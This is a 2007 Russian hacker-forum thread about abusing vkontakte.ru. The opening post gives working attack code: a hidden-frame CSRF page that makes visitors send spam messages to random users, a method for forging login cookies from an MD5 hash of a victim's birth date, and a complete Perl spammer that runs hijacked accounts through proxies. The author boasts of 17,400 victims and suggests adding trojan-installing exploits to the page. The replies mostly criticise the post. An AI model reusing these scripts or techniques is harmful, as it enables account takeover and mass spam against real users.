1. Правила Внимание! Добавлены новые правила.

    1. Запрещено апать тему, если вы не удалили предыдуший UP.
    2. Запрещено писать два положительных отзыва в одной теме одному пользователю.
    3. Запрещены взаимные отзывы (вы ему отписали, а он вам) или взаимные через посредника.

    Правила торговых разделов тут http://forum.antichat.ru/threads/200578/
    Список гарантов тут http://forum.antichat.ru/threads/63165/

Некоторые баги vkontakte.ru

Обсуждение в разделе «Социальные сети», начал(-а) lord_of_keyboard, 29.07.2007.

  1. lord_of_keyboard

    Репутация:
    0
    Интро

    Привет, котятки! Сегодня мы попробуем заняться паразитизмом на довольно крупном сервисе vkontakte.ru. Сервис страдает от огромного количества всевозможных проблем с безопасностью и просто багов.
    Рассмотрим пару самых занятных багов, может быть, напишем флудер/спаммер.

    1. Занимательный javascript

    В связи с тем, что изначально формы отправки сообщений и комментариев были ничем не защищены, то был получен довольно забавный опыт саморассылающегося спама. Это и по сей день остаётся актуальным, ибо часть скриптов по-прежнему не защищена.

    Итак, рассмотрим, к примеру, скрипт отправки личных сообщений. Вообще, изначально пользователи взаимодействуют с ним посредством метода POST, но в самом скрипте метод не проверяется (то ли используется суперглобальный массив $_REQUEST, то ли register_globals=on).
    Примечание: метод не имеет значения, просто метод GET несколько упрощает скрипт, о методе POST будет сказано ниже.

    Чтобы отправить сообщение достаточно перейти по ссылке: http://vkontakte.ru/mail.php?act=sent&to_id=1&title=&message=Hello.
    Сообщение будет отправленно в случае наличия куки. Собстсвенно, в этом и состоит идея - написать скрипт, который будет открывать эту ссылку в скрытом фрейме, рассылая наши сообщения.

    Создадим три страницы:
    1) index.html
    HTML:
    <frameset ROWS="100%,0%,0%">
    <FRAME NAME="mainfrm" SRC="http://www.183.ru/2/">
    <FRAME NAME="preved" SRC="preved.html">
    <FRAME NAME="timer" SRC="timer.html">
    </frameset>
    
    2) preved.html
    HTML:
    <html><head></head><body></body></html>
    
    3) timer.html
    HTML:
    <head>
    <script>
    function timer() {
    var msg = new String();
    var msg_to ;
    do { msg_to=Math.ceil(Math.random()*1000000); } while (msg_to.value>1100000); // генерируем случайный id получателя
    msg=urlencode('Превед!'); // наше сообщение 8)
    msg+='%0a'+parent.location; // добавим к сообщению ссылку на сайт, на котором мы расположены
    // отправим наше сообщение
    parent.preved.document.location="http://vkontakte.ru/mail.php?act=sent&to_id="+msg_to+"&title=&message="+msg;
    setTimeout("timer()", 1250); // И поставим сами себя на таймер
    }
    </script>
    </head>
    <body>
    
    <script>
    timer();
    </script>
    </body>
    
    Таким образом, скрипт во фрейме timer будет постоянно слать сообщения, используя фрейм preved, а фрейм mainfrm служит для отвода глаз.

    Что делать, если скрипт поддерживает только метод POST? В этом случае нужно создать форму для отправки данных скрипту на сервере, и написать скрипт для отправки формы, вызывающий метод submit: document.our_form.submit();

    Пример сего чуда в действии можно посмотреть тут: http://l-0-v-e.by.ru
    Когда я опробовал это в действии, счётчик на странице насчитал 17400 человек, сходивших по ссылке. Не очень много, но всё же.
    Сие милое развлечение было окрещено пользователями "вирусом".
    "Какая же от этого практическая польза?" - спросите вы. Понавешайте на страницу илитных зиродей сплоетов, троянящих каждого зашедшего, и польза будет 8)

    2. Проблемы с безопасностью

    В куке не проверяется e-mail. Единственное условие - переменная remixemail должна быть непустой. Что, собственно, это нам даёт? Рассмотрим пример: посмотрим, скажем, на пользователя http://vkontakte.ru/profile.php?id=196. Замечательный пользователь. Взглянем на дату рождения - 05.01.1984. Захешируем стоку "05011984" алгоритмом md5, получим a99fa18a6d54dfda21c15fa3f5fe2aac. Составим куку вручную:

    remixmid=196; remixemail=bill_gates%40microsoft.com; remixpassword=a99fa18a6d54dfda21c15fa3f5fe2aac;

    Откроем страницу vkontakte.ru и - оп! - мы пользователь с id=196. Не хватает только адреса почты. Раньше его можно было посмотреть на странице настроек, но теперь это дело прикрыли. Тем не менее, если он нужен, то его можно получить при попытке смены почты - на оба ящика придёт письмо с указанием обоих адресов. Не красиво, ибо жертва его тоже получит, но если пароль подойдёт к мыльнику - можно будет его удалить.

    3. Многопоточный флудер

    Ну и коль мы нахекали целую гору аккаунтов, отчего б не написать спаммер заметок.
    How to use: аккаунты в accs.txt, прокси в proxies.txt. Для отправки каждого сообщения fork-ом создаётся потомок нашего процесса, если он живёт слишком долго - убивается. Под разными системами по-разному, на некоторых после завершения родительского процесса могут оставаться детишки-зомби 8)
    Code:
    #!/usr/bin/perl
    
    #
    # By lord_of_keyboard, 2007.
    #
    
    use IO::Socket;
    use Digest::MD5 qw (md5_hex);
    
    sub add_child {
    	my $proxy=shift;
    	my $acc=shift;
    	my $pid = fork();
    	if ($pid) { # parent
    		push(@children, $pid.":".time());
    	} elsif ($pid == 0) { # child
    		$proxy=~s/[\r\n ]//g; $acc=~s/[\r\n ]//g;
    		my ($host, $port) = split(":",$proxy);
    		my ($id, $password, $shit) = split(":", $acc);
    		my $cookie="remixmid=$id; remixemail=bill_gates%40microsoft.com; remixpass=".md5_hex($password);
    		my $post_id=int(rand(400000));		
    		my $text = "Я тебя люблю ";
    
    		for $i (1..int(rand(10)+1)){ $text.=")"; }
    		$text.="\n http://l-0-v-e.by.ru/";
    		$text =~s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
    		
    		my $get = "GET http://vkontakte.ru/notes.php?act=s&nid=$post_id HTTP/1.0\r\n".
    		    "Host: vkontakte.ru\r\n".
    		    "Accept: */*\r\n".
    		    "Content-Type: application/x-www-form-urlencoded\r\n".
    		    "Referer: http://vkontakte.ru/\r\n".
    		    "User-Agent: Internet Explorer 6.0\r\n".
    		    "Cookie: $cookie\r\n".
    		    "Connection: close\r\n\r\n";
        
    		my $sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
    		print $sock $get;
    		while ($html = <$sock>){
    		    if ($html =~ /name="blog_id"/gi){
    		        $html=~m/(\d+)/gi;
    		        $blog_id = $1;
    		    }
    		}
    		close $sock;
    		sleep(1);
    
    		$request = "blog_id=$blog_id&post_id=$post_id&act=addComment&comment=$text";
    		$comment = "POST http://vkontakte.ru/notes.php HTTP/1.1\r\n".
    		    "Host: vkontakte.ru\r\n".
    		    "Accept: */*\r\n".
    		    "Content-Type: application/x-www-form-urlencoded\r\n".
    		    "Content-Length: ".length($request)."\r\n".
    		    "Referer: http://vkontakte.ru/\r\n".
    		    "User-Agent: Internet Explorer 6.0\r\n".
    		    "Cookie: $cookie\r\n".
    		    "Connection: close\r\n\r\n$request";
    		my $sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
        
    		print $sock $comment;
    		while (<$sock>){ print; }
    		close $sock;
    
    		exit(0); # bailing out 8)
    	} else {
    		die "couldn't fork: $!\n";
    	}
    }
    
    sub next_plz {
    	$proxy_offset++; $acc_offset++;
    	if ($proxy_offset>$#{@proxies}){ $proxy_offset=0; }
    	if ($acc_offset>$#{@accs}){ $acc_offset=0; }
    }
    
    print "Hello, master. I am ready to serve you.\n\n";
    
    open(FILE,"<proxies.txt"); @proxies=<FILE>; close FILE;
    open(FILE,"<accs.txt");    @accs=<FILE>;    close FILE;
    
    @children=(); $acc_offset=0; $proxy_offset=0;
    for my $i (1..10) { add_child(@proxies[$proxy_offset], @accs[$acc_offset]); next_plz; }
    
    while (1){
    	print "There are ".(@children)." of us.\n";
    	for my $i (0..$#{@children}) {
    		my $child=@children[$i];
    		my ($pid,$time)=split(":",$child);
    		my $status = waitpid($pid, -1);
    		if ($status>=0) {
    			if (time()-$time>30) {
    				kill($pid); # time has come to die, r.i.p.
    			} # if
    		} else {
    		splice(@children,$i,1);
    		add_child(@proxies[$proxy_offset], @accs[$acc_offset]); next_plz; 
    		}
    	} # foreach
    sleep(2);
    }
    
    Заключение

    Всё написанное выше - не более, чем описание некоторого опыта. Может кому-то пригодится, может, возможно использовать где-то ещё.
    By C!klodoL & lord_of_keyboard, 2007.
     
    Это одобряют 10 пользоветелей.
  2. Constantine

    Constantine Members of Antichat

    Регистрация:
    24.11.2006
    Сообщения:
    803
    Одобрения:
    706
    Репутация:
    213
    А что это за проект такой, что "некоторые" баги на нем тянут аж на целую статью?
     
    _________________________
    Это одобряют 4 пользоветелей.
  3. Feshh

    Feshh Banned

    Регистрация:
    6.03.2007
    Сообщения:
    110
    Одобрения:
    52
    Репутация:
    4
    нугде то была тема что вконтакте спонсирует ФСБ )
     
  4. AN_Known

    AN_Known New Member

    Регистрация:
    27.07.2007
    Сообщения:
    3
    Одобрения:
    4
    Репутация:
    0
    :eek:
     
    Это одобряют 2 пользоветелей.
  5. LolFEm

    LolFEm Elder - Старейшина

    Регистрация:
    8.09.2006
    Сообщения:
    163
    Одобрения:
    52
    Репутация:
    6
    хм... всегда казалось было что в Мд5 идёт пароль пользователя а не дата рождения.... и в кукисах пароль висит...
     
  6. C!klodoL

    C!klodoL Elder - Старейшина

    Регистрация:
    5.06.2007
    Сообщения:
    302
    Одобрения:
    207
    Репутация:
    4
    смысл в том что многие юзеры используют в качестве пароля дату рождения или другой легко запоминающийся пароль, в кукисах висит мд5 хэш пароля
     
    Это одобряет 1 пользователь.
  7. +toxa+

    +toxa+ Smack! SMACK!!!

    Регистрация:
    16.01.2005
    Сообщения:
    1 703
    Одобрения:
    1 027
    Репутация:
    730
    /me не увидел ни одного бага в статье

    1) спамер
    2) тупость юзеров
    3) флудер
     
    _________________________
    Это одобряет 1 пользователь.
  8. genom--

    genom-- Elder - Старейшина

    Регистрация:
    9.07.2006
    Сообщения:
    770
    Одобрения:
    416
    Репутация:
    186
    аргументирую - уже пол года вижу различные флудеры и спамеры для этого сервиса - со всеми вытикающими - я уже молчу об остальных багах на нем
     
  9. KSURi

    KSURi tnega AOLPS

    Регистрация:
    6.06.2006
    Сообщения:
    462
    Одобрения:
    218
    Репутация:
    205
    дай ссылку на парочку разных
    и баги опиши, можно в пм
     
  10. +toxa+

    +toxa+ Smack! SMACK!!!

    Регистрация:
    16.01.2005
    Сообщения:
    1 703
    Одобрения:
    1 027
    Репутация:
    730
    Ну как бы я тут как таковых вообще ни одного "бага" не увидел=\
     
    _________________________
    Это одобряет 1 пользователь.
  11. Xex

    Xex Banned

    Регистрация:
    10.07.2005
    Сообщения:
    120
    Одобрения:
    41
    Репутация:
    17
    если бы не заключение, то был бы смысл критиковать
     
  12. Termin@L

    Termin@L Elder - Старейшина

    Регистрация:
    7.12.2006
    Сообщения:
    184
    Одобрения:
    43
    Репутация:
    36
    Слушай, ну если ты не знаешь пароль хрен ты залогинишься, а e-mail не нужен это баг, однако сам по себе он ничего не даёт... Но знать не помешает.
    Вообще - интересно есть ли на вконтакте что-нить серьёзное, насколько я знаю в паблике ничего нет... Было бы интересно узнать, как никак 4 по посещаемости сайт рунета
    P.S. Сам тестил ничего не нашёл, но я слабоват в поиске багов)))
     
  13. LoneWolf666

    LoneWolf666 Elder - Старейшина

    Регистрация:
    9.12.2005
    Сообщения:
    230
    Одобрения:
    122
    Репутация:
    12
    Хы статья крайне бесполезная и багов там действительно нет.
    В любом случае, в контакте не такой уж и прокачанный проект. вот если бы всплыли уязвимости на материнском проекте, тогда другое дело
     
  14. everm1nd

    everm1nd New Member

    Регистрация:
    20.01.2007
    Сообщения:
    24
    Одобрения:
    5
    Репутация:
    1
    Если это правда, то vkontakte - большой honeypot, только не для глупых червей и вирей, а для обычных хакеров. Смастырили сайтец, сидят, читают логи, а тех, кто на него без прокси заходил берут на заметку...
    Не знаю на счёт контакта, но то, что ресурсы такой направленности действительно существуют - я уверен...
     
  15. darky

    darky ♠ ♦ ♣ ♥

    Регистрация:
    18.05.2006
    Сообщения:
    1 828
    Одобрения:
    822
    Репутация:
    816
    Автор сайта -
    от себя добавлю что он на чемпе мира по программированию занял толи 2ое толи2ое место.. вот и решайте где там могут быть баги )
     
  16. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Регистрация:
    25.01.2007
    Сообщения:
    285
    Одобрения:
    597
    Репутация:
    359
    Надеюсь сайт СПбГУ не он поднимал =\
    https://forum.antichat.ru/showpost.php?p=365054&postcount=2252
     
    Это одобряет 1 пользователь.
  17. lord_of_keyboard

    Репутация:
    0
    Павел Дуров - вообще филолог по образованию. Его брат - да, занимал, но он не принимал непосредственного участия в разработке.
    И багов там было навалом. Самые критические просто в самом начале прикрыли.
     
    Это одобряют 3 пользоветелей.
  18. MASMAS

    MASMAS Guest

    Репутация:
    0
    http://img73.imageshack.us/img73/8652/8989798779ux7.jpg
     
  19. George767

    George767 Elder - Старейшина

    Регистрация:
    10.01.2006
    Сообщения:
    133
    Одобрения:
    25
    Репутация:
    7

    Ага, а то что проект полностью содан вот отсюда это как?
    http://www.facebook.com

    Однако все лавры Павлику достались
     
  20. G1yuK

    G1yuK Elder - Старейшина

    Регистрация:
    25.05.2007
    Сообщения:
    41
    Одобрения:
    9
    Репутация:
    0
    Кстати на cnews.ru была новость

    "Исходный код главной страницы сайта обмена фотографиями Facebook был опубликован неизвестным в блоге Facebook Secrets, сообщил Techcrunch.

    Предполагалось, что код был получен либо при помощи эксплуатации уязвимости в движке сайта, либо это была утечка со стороны одного из разработчиков. Но представитель Facebook Брэнди Баркер (Brandee Barker) пояснил, что код оказался доступен небольшому числу пользователей в результате ошибки настройки сервера, которая была очень быстро устранена. Сервер работал таким образом, что php-код не выполнялся, а отображался как текст. Ни хакеры, ни инсайдеры не имеют к этому отношение.

    Инцидент может навредить ресурсу: во-первых, код могут использовать хакеры для поиска уязвимостей, во-вторых, код могут использовать конкуренты, чтобы узнать больше о том, как работает Facebook."

    Может Павлик даже больше чем просто программист=)
     
Loading...
Похожие темы
  1. Ответы:
    7
    Просмотры:
    623
  2. Ответы:
    8
    Просмотры:
    497
  3. Ответы:
    8
    Просмотры:
    2 666
  4. Ответы:
    9
    Просмотры:
    1 212
  5. Ответы:
    3
    Просмотры:
    509